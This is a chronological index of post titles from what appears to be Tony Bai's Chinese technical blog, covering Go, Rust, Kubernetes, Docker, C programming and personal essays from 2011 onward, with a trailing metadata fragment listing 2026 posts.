《Gopher的Rust第一课：建立Rust开发环境》 《使用Ollama和Go基于文本嵌入模型实现文本向量化》 《那些可免费使用的在线大语言模型服务》 《Go未用代码消除与可执行文件瘦身》 2024.04 《从零到生产：Go在Google的历程[译]》 《使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B》 《Gopher的Rust第一课：Rust的那些事儿》 《要么返回错误值，要么输出日志，别两样都做》 《选择正确的Go Module Path》 2024.03 《Go 1.22引入的包级变量初始化次序问题》 2024.02 《Go 1.22中值得关注的几个变化》 2024.01 《2024年的Rust与Go[译]》 《依赖Kafka的Go单元测试例解》 《Go语言之父的反思：我们做对了什么，做错了什么》 《Go测试的20个实用建议》 二零二三 2023.12 《2023年Go语言盘点：稳中求新，稳中求变》 《Go 1.22新特性前瞻》 《通过实例理解OpenID身份认证》 《通过实例理解OAuth2授权》 《简单之道》 《Go未来演进：基于共同目标和数据驱动的决策》 《有效表达软件架构的最小图集》 《通过实例理解API网关的主要功能特性》 2023.11 《Go语言gRPC服务Handler单元测试详解》 《通过实例理解Web应用跨域问题》 《关系代数、SQL语句和Go语言示例》 《Go，14周年[译]》 《通过实例理解Web应用的机密管理》 《通过实例理解Web应用授权的几种方式》 2023.10 《通过实例理解Web应用用户密码存储方案》 《通过实例理解Go Web身份认证的几种方式》 《基于公钥验签实现应用许可机制》 《Go TLS服务端绑定证书的几种方式》 《Service Weaver：以单体形式编码，以微服务形式部署》 《Go项目目录该怎么组织？官方终于出指南了！》 2023.09 《聊聊Go与依赖注入》 《使用Go和WebRTC data channel实现端到端实时通信》 《聊聊Go语言的向前兼容性和toolchain规则》 《slog实战：文件日志、轮转与kafka集成》 《slog正式版来了：Go日志记录新选择！》 2023.08 《编译Go应用的黑盒挑战：无源码只有.a文件，你能搞定吗？》 《Go 1.21中值得关注的几个变化》 《Go项目初始化不再困扰你：gonew全方位解析》 《Gopher Daily改版了》 2023.07 《Go语言开发者的Apache Arrow使用指南：读写Parquet文件》 《Go语言开发者的Apache Arrow使用指南：扩展compute包》 《使用testify包辅助Go测试指南》 《Go语言开发者的Apache Arrow使用指南：数据操作》 《Go语言开发者的Apache Arrow使用指南：高级数据结构》 《Apache Arrow：驱动列式分析性能和连接性的提升[译]》 2023.06 《Go语言开发者的Apache Arrow使用指南：内存管理》 《Go语言开发者的Apache Arrow使用指南：数据类型》 《Go语言包设计指南》 《Go GC：了解便利背后的开销》 《Go语言反射编程指南》 2023.05 《理解时序数据库的时间线》 《聊聊Go语言的控制语句》 《Go与神经网络：张量运算》 《Go错误处理：错误链使用指南》 《Go项目组织：在单一repo中管理多个Go module指南》 《Go：值与指针》 2023.04 《Go 1.21新特性前瞻》 《单测时尽量用fake object》 《理解unsafe-assume-no-moving-gc包》 《一文告诉你当module path为main时执行go test失败的真正原因》 《一文告诉你哪些map element类型支持就地更新》 2023.03 《使用go test框架驱动的自动化测试》 《Go开发命令行程序指南》 《聊聊Go语言的全局变量》 《聊聊godoc、go doc与pkgsite》 《一文搞懂Go subtest》 《Go是一门面向对象编程语言吗》 《小厂内部私有Go module拉取方案3》 2023.02 《十分钟入门Go语言》 《2023年的Rust与Go[译]》 《一文告诉你如何判断Go接口变量是否相等》 《Go 1.20中值得关注的几个变化》 《将Roaring Bitmap序列化为JSON》 2023.01 《聊聊Go与TLS 1.3》 《2022年博客回顾与总结》 《聊聊Prometheus Gauge的增减操作实现》 二零二二 2022.12 《2022年Go语言盘点：泛型落地，无趣很好，稳定为王》 《阿根廷圆梦卡塔尔世界杯，梅西正式加冕第三代球王》 《Go类型系统：有何与众不同》 《Go为什么能成功》 2022.11 《这可能是最权威、最全面的Go语言编码风格规范了！》 《Go 1.20新特性前瞻》 《使用反射操作channel》 《Go，13周年[译]》 《通过实例理解Go标准库context包》 2022.10 《slog：Go官方版结构化日志包》 《当函数设计遇到切片》 《Go标准库依赖的那些modules》 《通过实例理解Go静态单赋值（SSA）》 《通过实例理解Go内联优化》 《重阳节思姥姥姥爷》 2022.09 《Go语言之道[译]》 《使用viper实现yaml配置文件的合并》 《如何像gitlab-runner那样将Go应用安装为系统服务》 《有没有安全漏洞，你说了不算，govulncheck是裁判！》 《让reviewdog支持gitlab-push-commit，守住代码质量下限》 2022.08 《因为热爱：2022年空军航空开放日观展记》 《Go 1.19中值得关注的几个变化》 《使用Go开发Kubernetes Operator：基本结构》 《基于多label的issue驱动软件开发的实践》 2022.07 《使用Go语言实现eBPF程序内核态与用户态的双向数据交换》 《使用Go语言开发eBPF程序》 《使用Go基于国密算法实现双向认证》 《GoCN社区Go读书会第二期：《Go语言精进之路》》 《使用C语言从头开发一个Hello World级别的eBPF程序》 2022.06 《Go语言数据竞争检测与数据竞争模式》 《小厂内部私有Go module拉取方案（续）》 《Prometheus采不到数据了！居然是Prometheus client包的锅》 《Go 1.19新特性前瞻》 《Go：方法集合中“消失的方法”》 《评点2021-2022年上市的那些Go语言新书》 2022.05 《手把手教你使用ANTLR和Go实现一门DSL语言（第五部分）：错误处理》 《手把手教你使用ANTLR和Go实现一门DSL语言（第四部分）：组装语义模型并测试DSL》 《手把手教你使用ANTLR和Go实现一门DSL语言（第三部分）：建立和验证语义模型》 《手把手教你使用ANTLR和Go实现一门DSL语言（第二部分）：文法验证》 《手把手教你使用ANTLR和Go实现一门DSL语言（第一部分）：设计DSL语法与文法》 《使用具名返回值巧妙解决泛型函数返回零值的问题》 《绞尽脑汁，帮你理解方法本质并选择正确的receiver类型》 《Go程序员拥抱C语言简明指南》 《使用ANTLR和Go实现DSL入门》 《Go编程语言与环境：万字长文复盘导致Go语言成功的那些设计决策》 2022.04 《我来告诉你Go项目标准结构如何布局》 《世界读书日：带你走近Go语言编程思维》 《Go 1.18中值得关注的几个变化》 《Go字符串比较，终于有人讲清楚了》 《我的姥姥》 《Go是如何缓解供应链攻击的[译]》 2022.03 《Go社区主流Kafka客户端简要对比》 《Go泛型介绍[译]》 《len(s)表达式的求值结果究竟是常量还是变量？我来告诉你》 《Go是否支持增量构建？我来告诉你！》 《针对大型数组的迭代，for range真的比经典for loop慢吗？》 《Go 1.18版本正式发布了》 《Go语言map类型变量背后的那些事儿》 《聊聊Go语言的软件供应链安全》 《为什么有了Go module后“依赖地狱”问题依然存在》 《Gopher部落：2022年要做的事儿》 《聊聊Go应用输出日志的工程实践》 2022.02 《为什么这个T类型实例无法调用*T类型的方法》 《Go GC如何检测内存对象中是否包含指针》 《“Go语言第一课”结课了》 《Go究竟是否为空切片分配了底层数组》 2022.01 《2021年Go语言盘点：厉兵秣马强技能，蓄势待发新征程》 《Go语言精进之路：为Gopher们准备的“知识年货”》 二零二一 2021.12 《2021年博客回顾与总结》 《切换到Go 1.18后的第一件事：将interface{}全部替换为any》 《Gopher部落：简单复盘这一年》 《Go 1.18 Beta1版本发布，支持泛型[译]》 《使用Docker容器突破客户端6w可用端口的误区》 《惊了！原来Go语言也有隐式转型》 《Go 1.18新特性前瞻：原生支持Fuzzing测试》 2021.11 《梅西凑齐七个金球成功召唤神龙》 《ants：在Submit中再调用当前Pool的Submit可能导致阻塞》 《使用Docker Compose构建一键启动的运行环境》 《Go 1.18新特性前瞻：Go工作区模式》 《Go，12周年》 《Ian Lance Taylor：Go泛型使用的一般准则》 2021.10 《Go语言第一课FAQ》 《Go 1.18对泛型的支持策略》 《Go语言第一课背后的那些事》 《Tony Bai带你入门Go语言》 《Go语言之父谈Go编程语言与环境》 2021.09 《gRPC服务的响应设计》 《gRPC客户端的那些事儿》 《《走近周恩来》读后感》 《亲子游之丹东凤凰山》 《小厂内部私有Go module拉取方案》 2021.08 《Brooks、Wirth和Go》 《Go 1.17新特性详解：使用基于寄存器的调用惯例》 《Go 1.17新特性详解：module依赖图修剪与延迟module加载》 《Go 1.17新特性详解：支持将切片转换为数组指针》 《Go 1.17中值得关注的几个变化》 《一文告诉你如何帮助测试Go语言Beta公测版或RC候选发布版》 《Go中被闭包捕获的变量何时会被回收》 2021.07 《Go基于I/O多路复用的TCP协议流解析实践》 《Go经典阻塞式TCP协议流解析的实践》 《二闺女一周岁了》 《一文搞懂Go语言的plugin》 《一文告诉你如何用好uber开源的zap日志库》 《使用section.key的形式读取ini配置项》 《使用go-metrics在Go应用中增加度量》 2021.06 《通过实例理解Go Execution Tracer》 《使用functrace辅助进行Go项目源码分析》 2021.05 《通过实例理解Go逃逸分析》 《minikube v1.20.0版本的一个bug》 2021.04 《Go标准库http与fasthttp服务端性能比较》 《使用reflect包在反射世界里读写各类型变量》 《给expvarmon插上数据持久化的“翅膀”》 《Go标准库flag包的“小陷阱”》 《Go语言“十诫”》 《Go泛型语法又出“幺蛾子”：引入type set概念和移除type list中的type关键字》 《http.Client的连接行为控制详解》 2021.03 《Go语言中常见的几种反模式》 《Go语言的“黑暗角落”：盘点学习Go语言时遇到的那些陷阱[译]（第二部分）》 《Go语言的“黑暗角落”：盘点学习Go语言时遇到的那些陷阱[译]（第一部分）》 《使用Go实现可用select监听的队列》 《对Go 1.16 io/fs设计的第一感觉：得劲儿！》 《Rust vs. Go：为什么强强联合会更好》 《究竟是什么让Go语言成为恶意软件作者的最爱》 2021.02 《Go 1.16中值得关注的几个变化》 《“能力越大，责任越大” – Go语言之父详解将于Go 1.18发布的Go泛型》 《基于Redis Cluster的分布式锁实现以互斥方式操作共享资源》 《以单件方式创建和获取数据库实例》 《Go语言学习技术路线图2021发布了！》 2021.01 《使用multipart/form-data实现文件的上传与下载》 《通过实例理解Go标准库http包是如何处理keep-alive连接的》 《Go语言很无聊…其实它妙不可言！》 《Hugo作者、Go核心开发团队成员谈诞生13年的Go语言：生态系统、演化与未来》 二零二零 2020.12 《2020年Go语言盘点：新冠大流行阻挡不了Go演进的步伐》 《如何作废一个已发布的Go module版本，我来告诉你！》 《BPF和Go：在Linux中内省的现代方式》 《Go语言有哪些“劣势”》 《Go语言对ARM架构的支持与未来》 《一文告诉你神奇的Go内建函数源码在哪里》 《如何查看历史版本的Go文档？嘘！答案我只告诉你！》 《Go 1.16新功能特性不完全前瞻》 《Go函数调用链跟踪的一种实现思路》 《vendor目录是否需要提交到代码库中？答案全在这一篇》 《Go是编程语言世界的“特斯拉”》 2020.11 《一文告诉你如何抢先体验Go泛型》 《一文搞懂Go语言中的切片排序》 《“Gopher部落”知识星球开球了》 《没有VPS搭建govanityurls服务？别急！你依然可以自定义Go包导入路径》 《HashiCorp联合创始人：Go是成功且无悔的选择》 《Go，11周年》 《通过实例深入理解sync.Map的工作原理》 《重度使用Go的“后遗症“，你有吗？》 《系统学习Go语言，有这几本书就够了！》 2020.10 《Go 1.15中值得关注的几个变化》 2020.09 《官宣：Go专栏“改善Go语言编程质量的50个有效实践”上线了》 2020.08 《Google内部是如何使用Go语言的》 2020.07 《又当爸爸了！》 2020.06 《基于Markdown格式的电子书生成工具大比拼：gohugo、mdbook和peach》 《Go泛型真的要来了！最早在Go 1.17版本支持》 《亲爱的母校哈工大，100岁生日快乐！》 《关于xml包在Unmarshal时将\\r\\n重写为\\n的问题》 2020.05 《果果十周岁了！》 《Go语言联合作者Rob Pike专访：Go确实已成为云基础架构的语言》 《后端程序员一定要看的语言大比拼：Java vs. Go vs. Rust》 2020.04 《go protobuf v1败给了gogo protobuf，那v2呢？》 《图解git原理的几个关键概念》 2020.03 《Hello，WireGuard》 《图解Go运行时调度器》 《使用minio搭建高性能对象存储-第一部分：原型》 《可视化Go内存管理》 《小心go.mod中的go directive》 《Go 1.14中值得关注的几个变化》 2020.02 《Go语言之禅》 《图解Go内存分配器》 二零一九 2019.12 《Go modules：最小版本选择》 《Kubernetes Deployment故障排除图解指南》 2019.11 《计算重现性：一些挑战》 《Go官方发布的go.dev给gopher们带来了什么》 《Go语言开源十周年》 《Go语言项目的安全评估技术》 《图解中文字符编码-Go语言例解》 《Go语言的遗产》 2019.10 《Go 1.13中值得关注的几个变化》 《如何在Ubuntu 18.04 Server上部署Kubernetes集群》 《Go 1.13中的错误处理》 《Uber Go语言编码规范》 《在Kubernetes上如何基于自定义指标实现应用的自动缩放》 2019.09 《如何在Go语言中使用Websockets：最佳工具与行动指南》 《Go语言包管理简史》 《Go语言回顾：从Go 1.0到Go 1.13》 《构建Kubernetes集群 – 选择工作节点大小》 2019.08 《提高您的kubectl生产力（第三部分）：集群上下文切换、使用别名减少输入和插件扩展》 《提高您的kubectl生产力（第二部分）：命令完成、资源规范快速查看和自定义列输出格式》 《提高您的kubectl生产力（第一部分）：什么是kubectl》 《增值类业务短信收发协议介绍》 《增值类短信业务图文简介》 2019.07 《图解3GPP规范文档组织结构与编号规则》 2019.06 《使用git操作svn仓库》 《Go module机制下升级major版本号的实践》 2019.05 《Go正走在成为下一个企业级编程语言的轨道上》 2019.04 《使用nomad在weave网络中部署工作负载》 《Kubernetes网络插件（CNI）基准测试的最新结果》 《使用nomad实现工作负载版本升级》 《记一次go panic问题的解决过程》 2019.03 《使用nomad实现集群管理和微服务部署调度》 《Go 1.12中值得关注的几个变化》 2019.02 《YAML入门：以创建一个Kubernetes deployment为例》 2019.01 《Go2 Error Inspection前瞻》 《Go和SOAP》 二零一八 2018.11 《Hello，Go module proxy》 《Go 1.11中值得关注的几个变化》 《Go，9周年》 2018.10 《官宣：慕课网课程“Kubernetes实战：高可用集群搭建、配置、运维与应用”上线了》 2018.09 《基于consul实现微服务的服务发现和负载均衡》 2018.07 《初窥Go module》 2018.06 《HTTPS服务的Kubernetes ingress配置实践》 《实践kubernetes ingress controller的四个例子》 《使用kubectl访问Kubernetes集群时的身份验证和授权》 《在Kubernetes 1.10.3上以Hard模式搭建EFK日志分析平台》 2018.05 《对一段有关Go Code Block和变量作用域的代码的简要分析》 《慕课网免费课“Kubernetes：开启云原生之门”上线》 2018.04 《写Go代码时遇到的那些问题[第3期]》 2018.03 《defer函数参数求值简要分析》 《对一段Go语言代码输出结果的简要分析》 《TB一周萃选[第10期]》 2018.02 《Go 1.10中值得关注的几个变化》 《TB一周萃选[第9期]》 《TB一周萃选[第8期]》 2018.01 《TB一周萃选[第7期]》 《写Go代码时遇到的那些问题[第2期]》 《TB一周萃选[第6期]》 《TB一周萃选[第5期]》 《写Go代码时遇到的那些问题[第1期]》 《TB一周萃选[第4期]》 《使用istio治理微服务入门》 二零一七 2017.12 《TB一周萃选[第3期]》 《TB一周萃选[第2期]》 《追求极简：Docker镜像构建演化史》 《TB一周萃选[第1期]》 《在Kubernetes集群上部署高可用Harbor镜像仓库》 2017.11 《Goroutine调度实例简要分析》 《理解Docker的多阶段镜像构建》 《Hello，Termux》 《再谈Docker容器单机网络：利用iptables trace和ebtables log》 2017.10 《源创会开源访谈：十年成长，Go语言的演化之路》 《源创会2017沈阳站讲稿：基于Harbor的高可用企业级私有容器镜像仓库部署实践》 《Kubernetes节点资源耗尽状态的处理》 2017.09 《Kubernetes Dashboard 1.7.0部署二三事》 《Go语言：成长的十年》 2017.08 《Hello, Apollo》 《解决Kubernetes 1.7.3 kube-apiserver频繁异常重启的问题》 《Hello, ROS》 2017.07 《体验共享单车》 《解决Kubernetes 1.6.4 Dashboard无法访问的问题》 《Go 1.9中值得关注的几个变化》 《搭建你自己的Go Runtime metrics环境》 2017.06 《使用govanityurls让私有代码仓库中的go包支持go get》 《定制Go Package的Go Get导入路径》 《也谈Go的可移植性》 《外星人为什么还没降落到地球上？》 《也谈goroutine调度器》 《解决登录Harbor Registry时鉴权失败的问题》 《基于Harbor和CephFS搭建高可用Private Registry》 《初窥dep》 2017.05 《专访稿：兴趣才是第一生产力》 《一步步打造基于Kubeadm的高可用Kubernetes集群-第二部分》 《一步步打造基于Kubeadm的高可用Kubernetes集群-第一部分》 《Kubernetes集群node主机名修改导致的异常》 《Kubernetes集群跨节点挂载CephFS》 2017.04 《Go coding in go way》 《GopherChina2017以讲师身份参会感悟》 《GopherChina讲师专访》 2017.03 《使用Fluentd和ElasticSearch Stack实现Kubernetes的集群Logging》 《在Kubernetes Pod中使用Service Account访问API Server》 2017.02 《Kubernetes集群Pod使用Host的本地时区设置》 《Kubernetes Pod无法挂载ceph RBD存储卷的临时解决方法》 《Kubernetes集群中Service的滚动更新》 《TensorFlow入门：零基础建立第一个神经网络》 《Go 1.8中值得关注的几个变化》 2017.01 《以Kubeadm方式安装的Kubernetes集群的探索》 《Kubernetes Dashboard集成Heapster》 《Kubernetes集群Dashboard插件安装》 《理解Kubernetes网络之Flannel网络》 《理解Docker容器网络之Linux Network Namespace》 《把学校留的手工作业还给孩子们》 《2016小结》 二零一六 2016.12 《使用Kubeadm安装Kubernetes》 《当Docker遇到systemd》 《使用Visual Studio Code辅助Go源码编写》 《论golang Timer Reset方法使用的正确姿势》 《给女儿搭建一个博客站点》 《使用wukong全文搜索引擎》 2016.11 《Kubernetes集群的安全配置》 《为Kubernetes集群中服务部署Nginx入口服务》 《Kuberize Ceph RBD API服务》 《Kubernetes集群中的Nginx配置热更新方案》 《Kubernetes从Private Registry中拉取容器镜像的方法》 《使用go-ceph管理Ceph RBD映像》 《使用Ceph RBD为Kubernetes集群提供存储卷》 2016.10 《Kubernetes集群DNS插件安装》 《一篇文章带你了解Kubernetes安装》 《Docker 1.12 swarm模式下遇到的各种问题》 2016.09 《Go包导入与Java的差别》 《vim-go更新小记》 2016.08 《智慧城市到底满足的是谁的诉求》 2016.06 《Go 1.7中值得关注的几个变化》 《闲话智慧城市》 2016.05 《理解Unikernels》 《部署devstack》 2016.04 《GopherChina2016后记》 《Rancher使用入门》 2016.03 《使用Filebeat输送Docker容器的日志》 《现代企业应用架构-使用Docker CaaS交付敏捷的、可移植的、受控的应用》 2016.02 《理解Docker跨多主机容器网络》 《Go 1.6中值得关注的几个变化》 《部署私有Docker Registry》 2016.01 《理解Docker容器端口映射》 《理解Docker单机容器网络》 二零一五 2015.12 《Go语言随机测试工具go-fuzz》 2015.11 《Go语言TCP Socket编程》 2015.10 《Go语言错误处理》 2015.09 《使用Hugo搭建静态站点》 《开始使用Markdown写Blog》 《关于Go，你可能不注意的7件事》 2015.08 《理解Golang语句中的求值顺序》 《Go程序调试、分析与优化》 《Golang技术幻灯片的查看方法》 《weed-fs使用简介》 《godep支持Go 1.5 vendor》 2015.07 《理解Go 1.5 vendor》 《制作go-talks.appspot.com应用镜像》 《使用core-vagrant方式安装CoreOS》 《Go 1.5中值得关注的几个变化》 《使用consul实现分布式服务注册和发现》 《Golang程序配置方案小结》 2015.06 《也谈并发与并行》 《Appdash，用Go实现的分布式系统跟踪神器》 《巴萨“三冠王”梅开二度，梅球王预定第五座金球奖杯》 《Caddy，一个用Go实现的Web Server》 2015.05 《ngrok原理浅析》 2015.04 《Go和HTTPS》 《Blog站点被黑以及问题解决过程》 2015.03 《搭建自己的ngrok服务》 《理解Golang包导入》 2015.01 《近期遇到的3个Golang代码问题》 《一个有关Golang变量作用域的坑》 二零一四 2014.12 《2014小结》 《使用Golang开发微信公众平台-发送客服消息》 《使用Golang开发微信公众平台-接收加密消息》 《使用Golang开发微信公众平台-接收文本消息》 《使用Golang开发微信公众平台-接入验证》 2014.11 《将Blog迁移到DigitalOcean的VPS上》 《Goroutine是如何工作的》 《Go语言的有效错误处理》 《Go，5周年》 《Golang开发环境搭建-Vim篇》 《Go语言是如何处理栈的》 《Go 1.4中值得关注的几个变化》 《WordPress迁移到Docker容器》 2014.10 《godep的一个“坑”》 《VirtualBox虚拟机下Windows登录密码破解方法》 《Golang的演化历程》 《Golang测试技术》 《组织Golang代码》 《Golang跨平台交叉编译》 《探讨Docker容器中修改系统变量的方法》 《探讨docker容器对共享内存的支持情况》 《docker容器内服务程序的优雅退出》 2014.09 《Golang Channel用法简编》 《Ubuntu Server 14.04安装docker》 2014.08 《Cocos2d-x集成Amazon内购和GameCircle服务》 2014.07 《世界足球的那个“王”还会出现吗？》 2014.05 《Cocos2d-x屏幕适配之Sprite绘制原理》 《Cocos2d-x 3.0rc0集成Google AdMob SDK》 2014.04 《Cocos2d-x 3.0多线程异步资源加载》 《Cocos2d-x 3.0rc2集成ShareSDK》 《Cocos2d-x 3.0rc2针对Android平台的变动》 《Hello, Cocos2d-x 3.0rc0》 《ShareSDK Cocos2d-x专用组件的一个Bug》 2014.03 《Cocos2d-x内存管理-绕不过去的坎》 《Hello, Cocos2d-x》 《说说执行力》 《关于2014团队改善的考量》 2014.02 《厨房里的领导课》 2014.01 《2013小结》 二零一三 2013.12 《向安德学指挥》 《只为那一抹释然》 《团队与创造的平衡》 2013.11 《Recommended C Style and Coding Standards中文版全文》 《再谈那些代码中的“中国式”命名》 《代码是怎么腐化的》 《那些代码中的“中国式”命名》 《Memcached CAS应用一例》 2013.10 《关于程序员的构思能力的一些体会》 《为阻塞型函数调用添加超时机制》 《关于编程语言学习的一些体会》 《当Bug A遇到Bug B》 《爱上跑步》 《程序 – 程序员的avatar》 2013.09 《站在更高的平台上》 《结婚五周年纪念》 《把所有东西都放入版本控制系统》 《我的工作原则2》 2013.08 《利用ZooKeeper服务实现分布式系统的配置数据同步》 《利用ZooKeeper服务实现分布式系统的Leader选举》 《我的工作原则》 《Ubuntu 12.04修复记》 《再谈组织工作效率提升》 2013.07 《毕业九年 – 忆我的大学同学》 《也谈代码行统计》 《给新手程序员的建议》 《buildc 0.3.1版本发布》 《Python脚本命令行变量的实现》 《代码评审，由人治过渡到“法治”》 2013.06 《跨过BUG查找的”最后一公里”》 《港澳行记》 2013.05 《《Understanding and Using C Pointers》要点先睹为快》 《再谈C语言位域》 《果果3周岁了》 《buildc 0.3.0版本发布》 《也谈Commit log》 《推动知识管理的这两年》 2013.04 《libiconv库链接问题一则》 《C,C++开源项目中的100个Bugs》 《Hello，Sublime Text 2》 2013.03 《简析指针与多维数组》 《简析多级指针解引用》 《一种基于内存映射文件的系统运行数据提取方法》 《SVN命令输出结果的语言选择》 《谋划2013》 《也谈C语言的Struct Hack》 《玩转top》 2013.02 《为什么还用C编程？》 《果果的蛇年春节独白》 《期待过年》 《Go defer的C实现》 2013.01 《关于Python Package下的Module import方式》 《梅西与四座金球》 《buildc 0.2.2版本发布》 《梅西，金球之王》 《说说工作幸福感》 《2013新年快乐》 二零一二 2012.12 《我的博客观》 《2012小结》 《关于绩效面谈的一些拙见》 《梅西，足球新王》 《buildc 0.2.1版本发布》 《将Unity换成Gnome3》 《升级到Ubuntu 12.04LTS》 《谈谈如何高效地组织和实施内部会议》 2012.11 《谈谈如何写好Mail》 《果果2岁以来的成长记录》 《个人时间管理的一些实践体会》 《使用squid搭建http代理》 《新速腾首保小记》 《制定绩效目标的几个重要因素》 《buildc 0.2.0版本发布》 《知识管理的几点野路子经营策略》 《辩证地看待“重新发明轮子”》 《关于团队经营的若干体会》 2012.10 《改善技术布道效果的几个实践》 《也谈Go语言代码包分发》 《由一个软件库存问题想到的》 《也谈Go语言声明语法》 《编程语言进入“拼爹”时代》 2012.09 《Go与C语言的互操作》 《Go中的系统Signal处理》 《Go语言标准库概览》 2012.08 《Go程序设计语言(三)》 《Go程序设计语言(二)》 《Go程序设计语言(一)》 《也谈Go语言编程 – Hello，Go!》 《项目跳票成常态，组织基因难逃干系》 《开始学Go》 《为什么不用用Go？》 《《改善技术布道效果的几个实践》勘误》 《知识管理推广难的几点原因》 《做正确的事要趁早》 2012.07 《绥中电厂海滩之旅》 《buildc 0.1.9版本发布》 《读《How Google Tests Software》》 《buildc 0.1.8版本发布》 2012.06 《1000公里驾车感受》 《暴雨·冰雹·涉水·夜路·堵车·行车记》 2012.05 《新速腾提车与第一次上路》 《勇于面对》 《使用ssh通过http代理访问bitbucket》 《翻译《七周七语言》的那些事儿》 2012.04 《也谈技术布道 – 影响因素及有效实践》 《buildc 0.1.7版本发布》 《一场关于“何时发布版本”的论战》 《buildc 0.1.5版本发布》 《buildc 0.1.4版本发布》 《关于编译阶段符号多重定义的问题》 《lcut 0.3.0版本发布》 《如何加入Linux内核开发社区(7)》 《如何加入Linux内核开发社区(6)》 《如何加入Linux内核开发社区(5)》 2012.03 《如何加入Linux内核开发社区(4)》 《如何加入Linux内核开发社区(3)》 《如何加入Linux内核开发社区(2)》 《如何加入Linux内核开发社区(1)》 《也谈Linux Kernel Hacking – Kconfig与Kbuild》 《也谈Linux Kernel Hacking – 内核配置、编译与安装》 《C语言编码风格和标准》 《Adapter模式的C实现》 2012.02 《Blog新起点 – 从BlogBus搬家到WordPress》 《使用Jenkins实现多平台并行集成》 《折腾Jenkins》 《为buildc添加安装包制作相关功能》 《为buildc添加setup脚本》 《也谈C应用安装包制作与部署》 2012.01 《谋划2012》 《2012·果果给您拜年了》 《也谈C语言应用构建》 《2011·工作中的成长》 《由劝退一名员工所想到的》 《关于组织内部建立良性提议反馈机制的一些考量》 二零一一 2011.12 《2011·读过的书》 《2011小结》 《C语言项目构建管理辅助工具 – buildc》 《利用缓冲区溢出漏洞Hack应用》 2011.11 《知识管理那些事儿》 《也谈C语言的restrict类型修饰符》 《State模式的C实现》 《Transaction模式的C实现》 2011.10 《提高效率不是口号》 《Chain of Responsibility模式的C实现》 《Strategy模式的C实现》 《C语言的现状》 《Observer模式的C实现》 2011.09 《秋游天华山》 《C程序员驯服Common Lisp – 函数》 《C程序员驯服Common Lisp – 变量》 《C程序员驯服Common Lisp – 控制结构》 《当可执行程序版本信息变更时》 《西中岛旅记》 《果果一周岁生日靓照》 《C程序员驯服Common Lisp – 表达式》 2011.08 《使用C99特性简化代码编写》 《C程序员驯服Common Lisp – 入门》 《使用autoconf解决可移植性问题》 《Bambook使用手记》 《CBehave – 一个C语言行为驱动开发框架》 《行为驱动开发导引》 《Common Lisp初学点滴》 2011.07 《偿还N年前的一笔技术债》 《为函数添加enter和exit级trace》 《也谈共享库2》 《也谈C语言编译器的标准编译阶段》 《也谈阿根廷队2011美洲杯首演》 《也谈C语言对国际化的支持》 2011.06 《使用Apache2配置多个站点》 《也谈C语言的内联函数》 《解决一个IP路由选择问题》 《Hello，Common Lisp》 《小试番茄工作法》 《让BuildBot服务于多个项目》 《把握好编码的节奏》 2011.05 《解决BuildBot构建结果mail无法发送的问题》 《使用命令行方式开发Android应用》 《果果写真-一周岁花丛系列》 《使用Make的命令行变量》 《使用BuildBot搭建持续集成环境》 《聆听编程“古训”》 《只对代码无法表达的东西写注释》 《果果一周岁了》 2011.04 《Ubuntu一年使用感受》 《终于见到擎天柱大哥了！》 《童子军规则》 《应用C语言代码风格检查》 《使用正确的算法和数据结构》 《带果果到户外感受春天》 2011.03 《借开源实现你的雄心壮志》 《也谈SVN冲突解决》 《你应该关心你的代码》 《升级Thunderbird》 《别放弃你的标准》 《通过精减来改善代码》 《知道如何使用命令行工具》 《现实版灾难片-日本大地震》 《Review Board的几点使用体会》 《买了把人体工学座椅》 2011.02 《专业程序员》 《持续学习》 《代码评审》 《把一切都纳入版本控制》 《将你的编码标准自动化》 《在你重构之前》 《果果给您拜年了》 2011.01 《眼神儿太差了》 《2011·同事对我的期望》 《应对库接口原型变更》 《说书单2011.01.24》 《又遇字节序问题》 《小试git-svn》 《梅西给力，蝉联金球》 《别忘了测试你的假定》 《关于年终总结》 《果果祝大家新年快乐》 ","permalink":"https://tonybai.com/articles/","summary":"\u003ch3 id=\"二零二六\"\u003e二零二六\u003c/h3\u003e\n\u003ch4 id=\"202606\"\u003e2026.06\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/25/go-1-27-uuid-newv7-always-generates-uuid-with-7000-on-browsers/\"\u003e浏览器里的“安全阴谋”：为什么 Go 1.27 的 UUIDv7 会离奇丧失随机性？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/24/go-1-27-foresight/\"\u003eGo 1.27新特性前瞻：泛型方法落地，标准库内建 UUID\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/23/ai-divide-developers-into-lazy-juniors-and-the-burnedout-seniors/\"\u003eAI 正在撕裂研发团队：狂欢的“托管派”与心碎的“守夜人”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/22/why-is-go-dominating-in-cncf-landscape/\"\u003e屠榜 CNCF！为什么在云原生时代，Go 语言能把 Java、C++ 和 Rust 堵在门外？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/20/steve-yegge-the-flat-curve-society/\"\u003e大模型正在见顶！传奇架构师：欢迎来到“平坦曲线时代”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/18/why-choose-go-over-rust-today-in-ai-age/\"\u003e在 AI 编码时代，为什么我们依然选择 Go 而不是 Rust？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/17/deepmind-automation-agent-harness-ai-self-coding/\"\u003eDeepMind 亮出王炸：别再手写 Agent Harness 了，AI 已经学会自己写了！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/16/why-if-it-compiles-it-runs-rust-engineering-aesthetics-and-logic/\"\u003e为什么说“编译通过，就能运行”？Google 专家 Alice 揭秘 Rust 的工程美学与底层逻辑\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/15/google-ai-in-sre/\"\u003e谷歌 SRE 重磅白皮书：当 AI 自动写出 10 倍代码，谁来阻止系统崩溃？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/14/stop-saving-tokens-silicon-valley-consensus-waste-compute-shortcut/\"\u003e别再省 Token 